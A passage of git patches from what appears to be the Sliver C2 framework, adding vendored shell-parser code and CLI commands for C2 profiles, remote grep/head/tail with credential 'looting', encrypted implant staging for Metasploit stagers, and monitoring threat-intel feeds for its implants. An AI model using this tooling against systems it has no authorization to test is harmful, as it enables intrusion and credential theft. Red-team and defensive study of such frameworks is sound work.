>> + Shl = BinAritOperator(hdoc) // << + + AndArit = BinAritOperator(andAnd) // && + OrArit = BinAritOperator(orOr) // || + Comma = BinAritOperator(comma) // , + TernQuest = BinAritOperator(quest) // ? + TernColon = BinAritOperator(colon) // : + + Assgn = BinAritOperator(assgn) // = + AddAssgn = BinAritOperator(addAssgn) // += + SubAssgn = BinAritOperator(subAssgn) // -= + MulAssgn = BinAritOperator(mulAssgn) // *= + QuoAssgn = BinAritOperator(quoAssgn) // /= + RemAssgn = BinAritOperator(remAssgn) // %= + AndAssgn = BinAritOperator(andAssgn) // &= + OrAssgn = BinAritOperator(orAssgn) // |= + XorAssgn = BinAritOperator(xorAssgn) // ^= + ShlAssgn = BinAritOperator(shlAssgn) // <<= + ShrAssgn = BinAritOperator(shrAssgn) // >>= +) + +type UnTestOperator token + +const ( + TsExists = UnTestOperator(tsExists) + iota // -e + TsRegFile // -f + TsDirect // -d + TsCharSp // -c + TsBlckSp // -b + TsNmPipe // -p + TsSocket // -S + TsSmbLink // -L + TsSticky // -k + TsGIDSet // -g + TsUIDSet // -u + TsGrpOwn // -G + TsUsrOwn // -O + TsModif // -N + TsRead // -r + TsWrite // -w + TsExec // -x + TsNoEmpty // -s + TsFdTerm // -t + TsEmpStr // -z + TsNempStr // -n + TsOptSet // -o + TsVarSet // -v + TsRefVar // -R + TsNot = UnTestOperator(exclMark) // ! +) + +type BinTestOperator token + +const ( + TsReMatch = BinTestOperator(tsReMatch) + iota // =~ + TsNewer // -nt + TsOlder // -ot + TsDevIno // -ef + TsEql // -eq + TsNeq // -ne + TsLeq // -le + TsGeq // -ge + TsLss // -lt + TsGtr // -gt + AndTest = BinTestOperator(andAnd) // && + OrTest = BinTestOperator(orOr) // || + TsMatchShort = BinTestOperator(assgn) // = + TsMatch = BinTestOperator(equal) // == + TsNoMatch = BinTestOperator(nequal) // != + TsBefore = BinTestOperator(rdrIn) // < + TsAfter = BinTestOperator(rdrOut) // > +) + +func (o RedirOperator) String() string { return token(o).String() } +func (o ProcOperator) String() string { return token(o).String() } +func (o GlobOperator) String() string { return token(o).String() } +func (o BinCmdOperator) String() string { return token(o).String() } +func (o CaseOperator) String() string { return token(o).String() } +func (o ParNamesOperator) String() string { return token(o).String() } +func (o ParExpOperator) String() string { return token(o).String() } +func (o UnAritOperator) String() string { return token(o).String() } +func (o BinAritOperator) String() string { return token(o).String() } +func (o UnTestOperator) String() string { return token(o).String() } +func (o BinTestOperator) String() string { return token(o).String() } diff --git a/vendor/mvdan.cc/sh/v3/syntax/walk.go b/vendor/mvdan.cc/sh/v3/syntax/walk.go new file mode 100644 index 0000000000..5be8f9c6a4 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/walk.go @@ -0,0 +1,313 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "fmt" + "io" + "reflect" +) + +func walkStmts(stmts []*Stmt, last []Comment, f func(Node) bool) { + for _, s := range stmts { + Walk(s, f) + } + for _, c := range last { + Walk(&c, f) + } +} + +func walkWords(words []*Word, f func(Node) bool) { + for _, w := range words { + Walk(w, f) + } +} + +// Walk traverses a syntax tree in depth-first order: It starts by calling +// f(node); node must not be nil. If f returns true, Walk invokes f +// recursively for each of the non-nil children of node, followed by +// f(nil). +func Walk(node Node, f func(Node) bool) { + if !f(node) { + return + } + + switch x := node.(type) { + case *File: + walkStmts(x.Stmts, x.Last, f) + case *Comment: + case *Stmt: + for _, c := range x.Comments { + if !x.End().After(c.Pos()) { + defer Walk(&c, f) + break + } + Walk(&c, f) + } + if x.Cmd != nil { + Walk(x.Cmd, f) + } + for _, r := range x.Redirs { + Walk(r, f) + } + case *Assign: + if x.Name != nil { + Walk(x.Name, f) + } + if x.Value != nil { + Walk(x.Value, f) + } + if x.Index != nil { + Walk(x.Index, f) + } + if x.Array != nil { + Walk(x.Array, f) + } + case *Redirect: + if x.N != nil { + Walk(x.N, f) + } + Walk(x.Word, f) + if x.Hdoc != nil { + Walk(x.Hdoc, f) + } + case *CallExpr: + for _, a := range x.Assigns { + Walk(a, f) + } + walkWords(x.Args, f) + case *Subshell: + walkStmts(x.Stmts, x.Last, f) + case *Block: + walkStmts(x.Stmts, x.Last, f) + case *IfClause: + walkStmts(x.Cond, x.CondLast, f) + walkStmts(x.Then, x.ThenLast, f) + if x.Else != nil { + Walk(x.Else, f) + } + case *WhileClause: + walkStmts(x.Cond, x.CondLast, f) + walkStmts(x.Do, x.DoLast, f) + case *ForClause: + Walk(x.Loop, f) + walkStmts(x.Do, x.DoLast, f) + case *WordIter: + Walk(x.Name, f) + walkWords(x.Items, f) + case *CStyleLoop: + if x.Init != nil { + Walk(x.Init, f) + } + if x.Cond != nil { + Walk(x.Cond, f) + } + if x.Post != nil { + Walk(x.Post, f) + } + case *BinaryCmd: + Walk(x.X, f) + Walk(x.Y, f) + case *FuncDecl: + Walk(x.Name, f) + Walk(x.Body, f) + case *Word: + for _, wp := range x.Parts { + Walk(wp, f) + } + case *Lit: + case *SglQuoted: + case *DblQuoted: + for _, wp := range x.Parts { + Walk(wp, f) + } + case *CmdSubst: + walkStmts(x.Stmts, x.Last, f) + case *ParamExp: + Walk(x.Param, f) + if x.Index != nil { + Walk(x.Index, f) + } + if x.Repl != nil { + if x.Repl.Orig != nil { + Walk(x.Repl.Orig, f) + } + if x.Repl.With != nil { + Walk(x.Repl.With, f) + } + } + if x.Exp != nil && x.Exp.Word != nil { + Walk(x.Exp.Word, f) + } + case *ArithmExp: + Walk(x.X, f) + case *ArithmCmd: + Walk(x.X, f) + case *BinaryArithm: + Walk(x.X, f) + Walk(x.Y, f) + case *BinaryTest: + Walk(x.X, f) + Walk(x.Y, f) + case *UnaryArithm: + Walk(x.X, f) + case *UnaryTest: + Walk(x.X, f) + case *ParenArithm: + Walk(x.X, f) + case *ParenTest: + Walk(x.X, f) + case *CaseClause: + Walk(x.Word, f) + for _, ci := range x.Items { + Walk(ci, f) + } + for _, c := range x.Last { + Walk(&c, f) + } + case *CaseItem: + for _, c := range x.Comments { + if c.Pos().After(x.Pos()) { + defer Walk(&c, f) + break + } + Walk(&c, f) + } + walkWords(x.Patterns, f) + walkStmts(x.Stmts, x.Last, f) + case *TestClause: + Walk(x.X, f) + case *DeclClause: + for _, a := range x.Args { + Walk(a, f) + } + case *ArrayExpr: + for _, el := range x.Elems { + Walk(el, f) + } + for _, c := range x.Last { + Walk(&c, f) + } + case *ArrayElem: + for _, c := range x.Comments { + if c.Pos().After(x.Pos()) { + defer Walk(&c, f) + break + } + Walk(&c, f) + } + if x.Index != nil { + Walk(x.Index, f) + } + if x.Value != nil { + Walk(x.Value, f) + } + case *ExtGlob: + Walk(x.Pattern, f) + case *ProcSubst: + walkStmts(x.Stmts, x.Last, f) + case *TimeClause: + if x.Stmt != nil { + Walk(x.Stmt, f) + } + case *CoprocClause: + if x.Name != nil { + Walk(x.Name, f) + } + Walk(x.Stmt, f) + case *LetClause: + for _, expr := range x.Exprs { + Walk(expr, f) + } + case *TestDecl: + Walk(x.Description, f) + Walk(x.Body, f) + default: + panic(fmt.Sprintf("syntax.Walk: unexpected node type %T", x)) + } + + f(nil) +} + +// DebugPrint prints the provided syntax tree, spanning multiple lines and with +// indentation. Can be useful to investigate the content of a syntax tree. +func DebugPrint(w io.Writer, node Node) error { + p := debugPrinter{out: w} + p.print(reflect.ValueOf(node)) + return p.err +} + +type debugPrinter struct { + out io.Writer + level int + err error +} + +func (p *debugPrinter) printf(format string, args ...any) { + _, err := fmt.Fprintf(p.out, format, args...) + if err != nil && p.err == nil { + p.err = err + } +} + +func (p *debugPrinter) newline() { + p.printf("\n") + for i := 0; i < p.level; i++ { + p.printf(". ") + } +} + +func (p *debugPrinter) print(x reflect.Value) { + switch x.Kind() { + case reflect.Interface: + if x.IsNil() { + p.printf("nil") + return + } + p.print(x.Elem()) + case reflect.Ptr: + if x.IsNil() { + p.printf("nil") + return + } + p.printf("*") + p.print(x.Elem()) + case reflect.Slice: + p.printf("%s (len = %d) {", x.Type(), x.Len()) + if x.Len() > 0 { + p.level++ + p.newline() + for i := 0; i < x.Len(); i++ { + p.printf("%d: ", i) + p.print(x.Index(i)) + if i == x.Len()-1 { + p.level-- + } + p.newline() + } + } + p.printf("}") + + case reflect.Struct: + if v, ok := x.Interface().(Pos); ok { + p.printf("%v:%v", v.Line(), v.Col()) + return + } + t := x.Type() + p.printf("%s {", t) + p.level++ + p.newline() + for i := 0; i < t.NumField(); i++ { + p.printf("%s: ", t.Field(i).Name) + p.print(x.Field(i)) + if i == x.NumField()-1 { + p.level-- + } + p.newline() + } + p.printf("}") + default: + p.printf("%#v", x.Interface()) + } +} From fd29866a0a2ebc9dfcbab9f5d593a25671c978db Mon Sep 17 00:00:00 2001 From: maxlandon Date: Tue, 28 Nov 2023 23:21:11 +0100 Subject: [PATCH 111/124] Re-add all newly implemented commands --- client/command/c2profiles/commands.go | 52 +++++++++++++++ client/command/filesystem/commands.go | 96 ++++++++++++++++++++++++++- client/command/generate/commands.go | 35 ++++++++++ client/command/jobs/commands.go | 2 + client/command/monitor/commands.go | 28 ++++++++ client/command/server.go | 2 + 6 files changed, 214 insertions(+), 1 deletion(-) create mode 100644 client/command/c2profiles/commands.go diff --git a/client/command/c2profiles/commands.go b/client/command/c2profiles/commands.go new file mode 100644 index 0000000000..a7c3bd09ac --- /dev/null +++ b/client/command/c2profiles/commands.go @@ -0,0 +1,52 @@ +package c2profiles + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/generate" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/client/constants" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns all C2 profile management commands. +func Commands(con *console.SliverClient) []*cobra.Command { + C2ProfileCmd := &cobra.Command{ + Use: consts.C2ProfileStr, + Short: "Display C2 profile details", + GroupID: consts.NetworkHelpGroup, + Long: help.GetHelpFor([]string{consts.C2ProfileStr}), + Run: func(cmd *cobra.Command, args []string) { + C2ProfileCmd(cmd, con, args) + }, + } + flags.Bind(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile to display") + }) + completers.NewFlagCompsFor(C2ProfileCmd, func(comp *carapace.ActionMap) { + (*comp)["name"] = generate.HTTPC2Completer(con) + }) + + ImportC2ProfileCmd := &cobra.Command{ + Use: consts.ImportC2ProfileStr, + Short: "Import HTTP C2 profile", + Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}), + Run: func(cmd *cobra.Command, args []string) { + ImportC2ProfileCmd(cmd, con, args) + }, + } + flags.Bind(consts.ImportC2ProfileStr, true, ImportC2ProfileCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile name") + f.StringP("file", "f", "", "Path to C2 configuration file to import") + f.BoolP("overwrite", "o", false, "Overwrite profile if it exists") + }) + + C2ProfileCmd.AddCommand(ImportC2ProfileCmd) + + return []*cobra.Command{C2ProfileCmd} +} diff --git a/client/command/filesystem/commands.go b/client/command/filesystem/commands.go index 0159c4982c..b8aa568ccb 100644 --- a/client/command/filesystem/commands.go +++ b/client/command/filesystem/commands.go @@ -177,9 +177,97 @@ func Commands(con *console.SliverClient) []*cobra.Command { carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"), ) + grepCmd := &cobra.Command{ + Use: consts.GrepStr, + Short: "Search for strings that match a regex within a file or directory", + Long: help.GetHelpFor([]string{consts.GrepStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + GrepCmd(cmd, con, args) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, grepCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("", false, grepCmd, func(f *pflag.FlagSet) { + f.BoolP("colorize-output", "c", false, "colorize output") + f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") + f.BoolP("recursive", "r", false, "search recursively") + f.BoolP("insensitive", "i", false, "case-insensitive search") + f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)") + f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)") + f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x") + f.BoolP("exact", "e", false, "match the search term exactly") + }) + carapace.Gen(grepCmd).PositionalCompletion( + carapace.ActionValues().Usage("regex to search the file for"), + carapace.ActionValues().Usage("remote path / file to search in"), + ) + + headCmd := &cobra.Command{ + Use: consts.HeadStr, + Short: "Grab the first number of bytes or lines from a file", + Long: help.GetHelpFor([]string{consts.HeadStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + /* + The last argument tells head if the user requested the head or tail of the file + True means head, false means tail + */ + HeadCmd(cmd, con, args, true) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, headCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("", false, headCmd, func(f *pflag.FlagSet) { + f.BoolP("colorize-output", "c", false, "colorize output") + f.BoolP("hex", "x", false, "display as a hex dump") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") + f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file") + f.Int64P("lines", "l", 0, "Grab the first number of lines from the file") + }) + carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) + + tailCmd := &cobra.Command{ + Use: consts.TailStr, + Short: "Grab the last number of bytes or lines from a file", + Long: help.GetHelpFor([]string{consts.TailStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + /* + The last argument tells head if the user requested the head or tail of the file + True means head, false means tail + */ + HeadCmd(cmd, con, args, false) + }, + GroupID: consts.FilesystemHelpGroup, + } + flags.Bind("", false, tailCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("", false, tailCmd, func(f *pflag.FlagSet) { + f.BoolP("colorize-output", "c", false, "colorize output") + f.BoolP("hex", "x", false, "display as a hex dump") + f.BoolP("loot", "X", false, "save output as loot") + f.StringP("name", "n", "", "name to assign loot (optional)") + f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") + f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") + f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file") + f.Int64P("lines", "l", 0, "Grab the last number of lines from the file") + }) + carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) + uploadCmd := &cobra.Command{ Use: consts.UploadStr, - Short: "Upload a file", + Short: "Upload a file or directory", Long: help.GetHelpFor([]string{consts.UploadStr}), Args: cobra.RangeArgs(1, 2), Run: func(cmd *cobra.Command, args []string) { @@ -189,6 +277,9 @@ func Commands(con *console.SliverClient) []*cobra.Command { } flags.Bind("", false, uploadCmd, func(f *pflag.FlagSet) { f.BoolP("ioc", "i", false, "track uploaded file as an ioc") + f.BoolP("recurse", "r", false, "recursively upload a directory") + f.BoolP("overwrite", "o", false, "overwrite files that exist in the destination") + f.BoolP("preserve", "p", false, "preserve directory structure when uploading a directory") f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) carapace.Gen(uploadCmd).PositionalCompletion( @@ -242,6 +333,9 @@ func Commands(con *console.SliverClient) []*cobra.Command { catCmd, cdCmd, downloadCmd, + grepCmd, + headCmd, + tailCmd, uploadCmd, memfilesCmd, } diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index ea60cff28a..da111ccd04 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -223,6 +223,29 @@ func Commands(con *console.SliverClient) []*cobra.Command { carapace.Gen(profilesRmCmd).PositionalCompletion(ProfileNameCompleter(con)) profilesCmd.AddCommand(profilesRmCmd) + profilesStageCmd := &cobra.Command{ + Use: consts.StageStr, + Short: "Generate an encrypted and/or compressed implant", + Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + ProfilesStageCmd(cmd, con, args) + }, + } + flags.Bind("stage", false, profilesStageCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "implant name") + f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key") + f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv") + f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key") + f.StringP("compress", "C", "", "compress the stage before encrypting (zlib, gzip, deflate9, none)") + f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)") + }) + completers.NewFlagCompsFor(profilesStageCmd, func(comp *carapace.ActionMap) { + (*comp)["compress"] = carapace.ActionValues("zlib", "gzip", "deflate9").Tag("compression algorithms") + }) + carapace.Gen(profilesStageCmd).PositionalCompletion(ProfileNameCompleter(con)) + profilesCmd.AddCommand(profilesStageCmd) + profilesInfoCmd := &cobra.Command{ Use: consts.InfoStr, Short: "Details about a profile", @@ -275,6 +298,16 @@ func Commands(con *console.SliverClient) []*cobra.Command { carapace.Gen(implantsRmCmd).PositionalCompletion(ImplantBuildNameCompleter(con)) implantBuildsCmd.AddCommand(implantsRmCmd) + implantStageCmd := &cobra.Command{ + Use: consts.StageStr, + Short: "Serve a previously generated implant", + Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}), + Run: func(cmd *cobra.Command, args []string) { + ImplantsStageCmd(cmd, con, args) + }, + } + implantBuildsCmd.AddCommand(implantStageCmd) + canariesCmd := &cobra.Command{ Use: consts.CanariesStr, Short: "List previously generated canaries", @@ -337,6 +370,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) { f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") + f.StringP("c2profile", "C", consts.DefaultC2Profile, "HTTP C2 profile to use") }) } @@ -350,6 +384,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) { (*comp)["format"] = FormatCompleter() (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") (*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",") + (*comp)["c2profile"] = HTTPC2Completer(con) }) } diff --git a/client/command/jobs/commands.go b/client/command/jobs/commands.go index 252eb1f2a5..4d8175999c 100644 --- a/client/command/jobs/commands.go +++ b/client/command/jobs/commands.go @@ -109,6 +109,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") f.BoolP("persistent", "p", false, "make persistent across restarts") + f.BoolP("staging", "s", false, "enable staging") }) // HTTPS @@ -129,6 +130,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.BoolP("disable-otp", "D", false, "disable otp authentication") f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout") f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter") + f.BoolP("enable-staging", "s", false, "enable staging") f.StringP("cert", "c", "", "PEM encoded certificate file") f.StringP("key", "k", "", "PEM encoded private key file") diff --git a/client/command/monitor/commands.go b/client/command/monitor/commands.go index da7c962e0c..5a3b74676f 100644 --- a/client/command/monitor/commands.go +++ b/client/command/monitor/commands.go @@ -14,6 +14,8 @@ func Commands(con *console.SliverClient) []*cobra.Command { Short: "Monitor threat intel platforms for Sliver implants", GroupID: consts.SliverHelpGroup, } + + // Monitory run management monitorCmd.AddCommand(&cobra.Command{ Use: "start", Short: "Start the monitoring loops", @@ -29,5 +31,31 @@ func Commands(con *console.SliverClient) []*cobra.Command { }, }) + // Configuration management + configCmd := &cobra.Command{ + Use: consts.MonitorConfigStr, + Short: "Configure monitor API keys", + Run: func(cmd *cobra.Command, args []string) { + MonitorConfigCmd(cmd, con, args) + }, + } + monitorCmd.AddCommand(configCmd) + + configCmd.AddCommand(&cobra.Command{ + Use: "add", + Short: "Add API key configuration", + Run: func(cmd *cobra.Command, args []string) { + MonitorAddConfigCmd(cmd, con, args) + }, + }) + + configCmd.AddCommand(&cobra.Command{ + Use: "del", + Short: "Remove API key configuration", + Run: func(cmd *cobra.Command, args []string) { + MonitorDelConfigCmd(cmd, con, args) + }, + }) + return []*cobra.Command{monitorCmd} } diff --git a/client/command/server.go b/client/command/server.go index a5ef31dbc7..ffb6f2ddc9 100644 --- a/client/command/server.go +++ b/client/command/server.go @@ -27,6 +27,7 @@ import ( "github.com/bishopfox/sliver/client/command/armory" "github.com/bishopfox/sliver/client/command/beacons" "github.com/bishopfox/sliver/client/command/builders" + "github.com/bishopfox/sliver/client/command/c2profiles" "github.com/bishopfox/sliver/client/command/crack" "github.com/bishopfox/sliver/client/command/creds" "github.com/bishopfox/sliver/client/command/exit" @@ -103,6 +104,7 @@ func ServerCommands(con *client.SliverClient, serverCmds SliverBinder) console.C jobs.Commands, websites.Commands, wireguard.Commands, + c2profiles.Commands, ) // Payloads From 2f6f67567bb19e5cadee3730aec5e0c10793c838 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Wed, 29 Nov 2023 11:01:44 +0100 Subject: [PATCH 112/124] Update carapace completion dependency --- go.mod | 2 +- go.sum | 4 ++-- vendor/modules.txt | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/go.mod b/go.mod index 9da4828842..be8026a08e 100644 --- a/go.mod +++ b/go.mod @@ -4,7 +4,7 @@ go 1.21.1 toolchain go1.21.4 -replace github.com/rsteube/carapace v0.45.0 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +replace github.com/rsteube/carapace v0.45.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d require ( filippo.io/age v1.1.1 diff --git a/go.sum b/go.sum index 534a6044ee..7c8761b4ef 100644 --- a/go.sum +++ b/go.sum @@ -353,8 +353,8 @@ github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZN github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= -github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca h1:tD797h1qmNtS/2z6Y7EtIg7OXEDaoSuULsUoksEepmQ= -github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= +github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d h1:RK0OaQs+3CMJnfXc5SNEg+Kbu4A2AVljPuG5/HcaUdM= +github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= github.com/reeflective/console v0.1.11 h1:T96PqsIqERNrbWbxVMafq2Wbsjr0v10vACPkRHFfMJg= github.com/reeflective/console v0.1.11/go.mod h1:gR61i2OKUHn+dITXK1h9HIfef7Godz3xz8Z/ybnUIC0= github.com/reeflective/readline v1.0.11 h1:4+aiebj7a89hTRJOMM98H+md1Kxu+v1XkfdCs0n6odQ= diff --git a/vendor/modules.txt b/vendor/modules.txt index 56962aee9b..c6a80b1237 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -587,7 +587,7 @@ github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.45.0 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +# github.com/rsteube/carapace v0.45.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache From bcebf21ba0ce2ba36fe8bb85c16f999e56f4d52e Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 14 Dec 2023 19:44:21 +0100 Subject: [PATCH 113/124] Update console/dependencies dependencies to latest versions --- client/command/beacons/commands.go | 2 +- client/command/creds/creds.go | 2 +- client/command/generate/helpers.go | 2 +- client/command/portfwd/portfwd.go | 2 +- client/command/rportfwd/portfwd.go | 2 +- client/command/socks/socks.go | 2 +- go.mod | 11 +- go.sum | 20 +- .../console/commands/readline/bind.go | 4 +- .../console/commands/readline/completers.go | 3 +- .../console/commands/readline/export.go | 6 +- .../reeflective/console/completer.go | 55 +-- .../github.com/reeflective/console/console.go | 3 +- .../github.com/reeflective/readline/emacs.go | 3 +- .../reeflective/readline/inputrc/parse.go | 415 ++++++++++------- .../readline/inputrc/testdata/spaces.inputrc | 12 + .../readline/internal/completion/group.go | 3 +- .../readline/internal/keymap/cursor.go | 9 +- .../readline/internal/ui/prompt.go | 2 + .../rsteube/carapace-shlex/.gitignore | 2 + .../rsteube/carapace-shlex/LICENSE.txt | 202 +++++++++ .../rsteube/carapace-shlex/README.md | 12 + .../github.com/rsteube/carapace-shlex/go.work | 6 + .../rsteube/carapace-shlex/shlex.go | 419 ++++++++++++++++++ .../rsteube/carapace-shlex/tokenslice.go | 123 +++++ .../rsteube/carapace-shlex/wordbreak.go | 122 +++++ vendor/github.com/rsteube/carapace/.gitignore | 9 +- .../rsteube/carapace/.goreleaser.yml | 13 +- vendor/github.com/rsteube/carapace/Dockerfile | 44 +- vendor/github.com/rsteube/carapace/README.md | 3 + vendor/github.com/rsteube/carapace/action.go | 387 ++++++++++++---- .../github.com/rsteube/carapace/carapace.go | 34 +- vendor/github.com/rsteube/carapace/command.go | 26 +- vendor/github.com/rsteube/carapace/compat.go | 62 ++- .../github.com/rsteube/carapace/complete.go | 91 ++-- vendor/github.com/rsteube/carapace/context.go | 57 +-- .../rsteube/carapace/defaultActions.go | 123 ++++- .../rsteube/carapace/experimental.go | 32 ++ .../github.com/rsteube/carapace/go.work.sum | 8 +- .../rsteube/carapace/internal/cache/cache.go | 20 +- .../rsteube/carapace/internal/common/group.go | 21 +- .../rsteube/carapace/internal/common/mock.go | 37 ++ .../carapace/internal/common/suffix.go | 4 - .../rsteube/carapace/internal/common/value.go | 28 +- .../rsteube/carapace/internal/env/env.go | 53 ++- .../carapace/internal/pflagfork/flag.go | 84 ++-- .../carapace/internal/pflagfork/flagset.go | 102 ++++- .../carapace/internal/shell/bash/action.go | 72 +-- .../carapace/internal/shell/bash/patch.go | 89 ++++ .../carapace/internal/shell/bash/snippet.go | 25 +- .../carapace/internal/shell/elvish/snippet.go | 2 +- .../carapace/internal/shell/fish/action.go | 3 +- .../carapace/internal/shell/library/action.go | 42 -- .../carapace/internal/shell/nushell/action.go | 17 +- .../carapace/internal/shell/nushell/patch.go | 30 ++ .../internal/shell/nushell/snippet.go | 16 +- .../internal/shell/powershell/action.go | 3 +- .../rsteube/carapace/internal/shell/shell.go | 5 + .../carapace/internal/shell/spec/command.go | 2 + .../carapace/internal/shell/spec/snippet.go | 14 +- .../carapace/internal/shell/tcsh/action.go | 1 + .../carapace/internal/shell/zsh/action.go | 5 +- .../internal/shell/zsh/namedDirectory.go | 6 +- .../carapace/internal/shell/zsh/snippet.go | 2 +- .../carapace/internal/shell/zsh/zstyle.go | 1 + .../rsteube/carapace/internalActions.go | 87 ++-- .../rsteube/carapace/invokedAction.go | 16 +- .../rsteube/carapace/pkg/match/match.go | 57 +++ .../rsteube/carapace/pkg/style/config.go | 2 +- .../rsteube/carapace/pkg/style/keyword.go | 15 +- .../rsteube/carapace/pkg/style/loglevel.go | 1 + .../rsteube/carapace/pkg/traverse/git.go | 25 ++ .../rsteube/carapace/pkg/traverse/os.go | 23 + .../rsteube/carapace/pkg/traverse/traverse.go | 64 +++ .../rsteube/carapace/pkg/traverse/xdg.go | 23 + .../rsteube/carapace/pkg/util/util.go | 51 +++ vendor/github.com/rsteube/carapace/pkg/x/x.go | 10 + .../rsteube/carapace/pkg/xdg/xdg.go | 7 +- vendor/github.com/rsteube/carapace/storage.go | 127 +++++- .../elves/elvish/pkg/ui/parse_sgr.go | 6 +- .../github.com/elves/elvish/pkg/ui/styling.go | 28 +- .../github.com/rsteube/carapace/traverse.go | 127 +++--- vendor/modules.txt | 16 +- 83 files changed, 2803 insertions(+), 899 deletions(-) create mode 100644 vendor/github.com/reeflective/readline/inputrc/testdata/spaces.inputrc create mode 100644 vendor/github.com/rsteube/carapace-shlex/.gitignore create mode 100644 vendor/github.com/rsteube/carapace-shlex/LICENSE.txt create mode 100644 vendor/github.com/rsteube/carapace-shlex/README.md create mode 100644 vendor/github.com/rsteube/carapace-shlex/go.work create mode 